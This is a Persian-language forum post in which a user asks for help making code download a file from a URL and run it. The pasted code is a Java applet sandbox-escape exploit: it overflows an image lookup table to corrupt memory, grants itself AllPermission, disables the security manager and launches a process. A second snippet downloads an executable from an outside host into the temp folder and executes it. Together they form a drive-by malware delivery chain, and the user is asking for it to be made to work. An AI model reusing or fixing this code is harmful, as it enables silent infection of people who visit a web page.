0

دانلود فایل با استفاده از جاوا

 
deli_h
deli_h
کاربر تازه وارد
تاریخ عضویت : مرداد 1394 
تعداد پست ها : 1

دانلود فایل با استفاده از جاوا
یک شنبه 18 مرداد 1394  4:44 PM

سلام 
کسی میتونه درمورد اینکه چطور یک فایل رو از یک url بگیرم و دانلود کنم و بعدش بتونه اجرا بشه کمکم کنه؟
این کدش هست ولی نمیدونم چرا برای url پاسخگو نیست یعنی قسمت دانلودش انجام نمیشه

import java.awt.image.*;

import java.beans.Statement;
import java.security.*;
import java.applet.*;
 
 
public class TestByteBI extends Applet {
 
public int numArrays_ = 10;
    public final int arrayLength = 11;
    public int[][] Arrays_;
 
 
public TestByteBI() {
 
}
 
    public void init() {
        go();
    }
 
public void go() {
BufferedImage src, dst;
 
Kernel kernel;
 
try {
String name = "setSecurityManager";
        Object[] o1 = new Object[1];
        Object o2 = new Statement(System.class, name, o1); // make a dummy call for init
       
        Arrays_ = new int[numArrays_][];
       
kernel = new Kernel(1,1, new float[]{1.0f, 1.0f, 1.0f, 1.0f});
byte[][] data = new byte[1][2000];
for (int i = 0; i < data.length; ++ i) {
for (int j = 0; j < data[i].length; ++ j) {
data[i][j] = 0x41;
}
}
ByteLookupTable lookupTable = new ByteLookupTable(0, data);
 
LookupOp op = new LookupOp(lookupTable, null);
 
int srcW = 20, srcH = 20;
int dstW = 7, dstH = 7;
 
src = new MyBufferedImage(srcW, srcH, dstW, dstH, BufferedImage.TYPE_USHORT_GRAY);
 
BufferedImage tmp = new BufferedImage(dstW, dstH, BufferedImage.TYPE_BYTE_GRAY);
 
 
DataBufferByte dstBuffer = new DataBufferByte(dstW * dstH); 
 
for ( int i = 0; i < numArrays_; ++ i ) {
    Arrays_[i] = new int[arrayLength];
    for ( int j = 0; j < arrayLength; ++ j ) {
    Arrays_[i][j] = 0x696b7579;
    }
    }
   
    WritableRaster raster = Raster.createWritableRaster(tmp.getSampleModel(), dstBuffer, null);
 
dst = new BufferedImage(tmp.getColorModel(), raster, false, null);
 
 
 
 
   
   
        Object[] oo = new Object[7];
 
        oo[2] = new Statement(System.class, name, o1);
 
        // create powerful AccessControlContext
        Permissions ps = new Permissions();
        ps.add(new AllPermission());
        
       
        oo[3] = new AccessControlContext(
                new ProtectionDomain[]{
                    new ProtectionDomain(
                        new CodeSource(
                            new java.net.URL("file:///"), 
                           new java.security.cert.Certificate[0] 
                        ),
                        ps
                    )
                }
            );
       
            
        // store System.class pointer in oo[]
        oo[4] = ((Statement)oo[2]).getTarget();
 
op.filter(src, dst);
 
int[] a = null;
        
        for ( int i = 0; i < numArrays_; ++ i ) {
        if ( Arrays_[i] != null && Arrays_[i].length > arrayLength ) {
        a = Arrays_[i];
        break;
        }
        }
        
        if ( null == a ) {
        System.out.println( "Failed to overwrite array length!" );
        return;
        }
        
        
        boolean found = false;
        int ooLen = oo.length;
        for(int i=arrayLength+2; i < a.length; i++)
                if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null
                 && a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0   // oo[2,3,4] != null    
                 && a[i+5]==0 && a[i+6]==0)               // oo[5,6] == null
                {
                    // read pointer from oo[4]
                    int stmTrg = a[i+4];
                    // search for the Statement.target field behind oo[]
                    for(int j=i+7; j < i+7+64; j++){
                        if (a[j] == stmTrg) {
                            // overwrite default Statement.acc by oo[3] ("AllPermission")
                            a[j-1] = a[i+3];
                            found = true;
                            break;
                        }
                    }
                    if (found) break;
                }
 
            // check results 
            if (!found) {
                System.out.println( "Failed to find object array!" );
            } else try {
                // show current SecurityManager
                System.out.println("Security Manager = " + System.getSecurityManager());
 
                // call System.setSecurityManager(null)
                ((Statement)oo[2]).execute();
 
                // show results: SecurityManager should be null
                System.out.println("Security Manager = " + System.getSecurityManager());
                
                Runtime.getRuntime().exec( "calc" );
            } catch (Exception ex) {
                ex.printStackTrace();
            } 
} catch (Exception ex) {
ex.printStackTrace();
}
 
 
 
}
 
public static void main(String[] args) {
new TestByteBI().go();
}
 
 
public static class MyBufferedImage extends BufferedImage {
private int fakeW_, fakeH_;
 
public MyBufferedImage(int w, int h, int fakeW, int fakeH, int type) {
super(w, h, type);
 
fakeW_ = fakeW;
fakeH_ = fakeH;
}
 
public int getWidth() {
return fakeW_;
}
 
public int getHeight() {
return fakeH_;
}
}
}
 
 
این کد رو هم برای اینکه فایل دانلود بشه و بره به مسیر temp پیدا کردم ولی اینم جواب نداد
 
 
 try {
            java.io.BufferedInputStream in = new java.io.BufferedInputStream(new java.net.URL("http://sinadir.com/test.exe").openStream());
            java.io.FileOutputStream fos = new java.io.FileOutputStream(System.getProperty("java.io.tmpdir") + "/msgbox.exe");
            java.io.BufferedOutputStream bout = new BufferedOutputStream(fos, 1024);
            byte[] data = new byte[1024];
            int x = 0;
            while ((x = in.read(data, 0, 1024)) >= 0) {
                bout.write(data, 0, x);
            }
            bout.close();
            in.close();
            p = Runtime.getRuntime().exec(System.getProperty("java.io.tmpdir") + "/msgbox.exe");
            if (p == null) {
                System.out.println("Null process, crap");
            }
            p.waitFor();
        } catch (Exception e) {
//            System.out.println(e);
        }
تشکرات از این پست
دسترسی سریع به انجمن ها